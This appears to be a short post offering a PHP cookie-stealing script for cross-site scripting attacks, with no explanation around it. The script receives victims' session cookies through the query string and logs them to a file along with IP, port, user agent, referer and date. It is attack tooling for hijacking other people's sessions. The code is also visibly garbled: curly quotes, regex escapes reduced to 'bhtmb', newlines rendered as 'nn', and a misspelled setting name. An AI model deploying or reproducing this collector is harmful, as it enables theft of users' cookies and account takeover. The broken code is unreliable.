Xss Cookie Stealing Code by Ahmed Raza Memon

<?php
function GetIP()
{
    if (getenv(“HTTP_CLIENT_IP”) && strcasecmp(getenv(“HTTP_CLIENT_IP”), “unknown”))
        $ip = getenv(“HTTP_CLIENT_IP”);
    else if (getenv(“HTTP_X_FORWARDED_FOR”) && strcasecmp(getenv(“HTTP_X_FORWARDED_FOR”), “unknown”))
        $ip = getenv(“HTTP_X_FORWARDED_FOR”);
    else if (getenv(“REMOTE_ADDR”) && strcasecmp(getenv(“REMOTE_ADDR”), “unknown”))
        $ip = getenv(“REMOTE_ADDR”);
    else if (isset($_SERVER[‘REMOTE_ADDR’]) && $_SERVER[‘REMOTE_ADDR’] && strcasecmp($_SERVER[‘REMOTE_ADDR’], “unknown”))
        $ip = $_SERVER[‘REMOTE_ADDR’];
    else
        $ip = “unknown”;
    return($ip);
}
function logData()
{
    $ipLog=”log.txt”;
    $cookie = $_SERVER[‘QUERY_STRING’];
    $register_globals = (bool) ini_get(‘register_gobals’);
    if ($register_globals) $ip = getenv(‘REMOTE_ADDR’);
    else $ip = GetIP();
    $rem_port = $_SERVER[‘REMOTE_PORT’];
    $user_agent = $_SERVER[‘HTTP_USER_AGENT’];
    $rqst_method = $_SERVER[‘METHOD’];
    $rem_host = $_SERVER[‘REMOTE_HOST’];
    $referer = $_SERVER[‘HTTP_REFERER’];
    $date=date (“l dS of F Y h:i:s A”);
    $log=fopen(“$ipLog”, “a+”);

    if (preg_match(“/bhtmb/i”, $ipLog) || preg_match(“/bhtmlb/i”, $ipLog))
        fputs($log, “IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>”);
    else
        fputs($log, “IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie nn”);
    fclose($log);
}
logData();
?>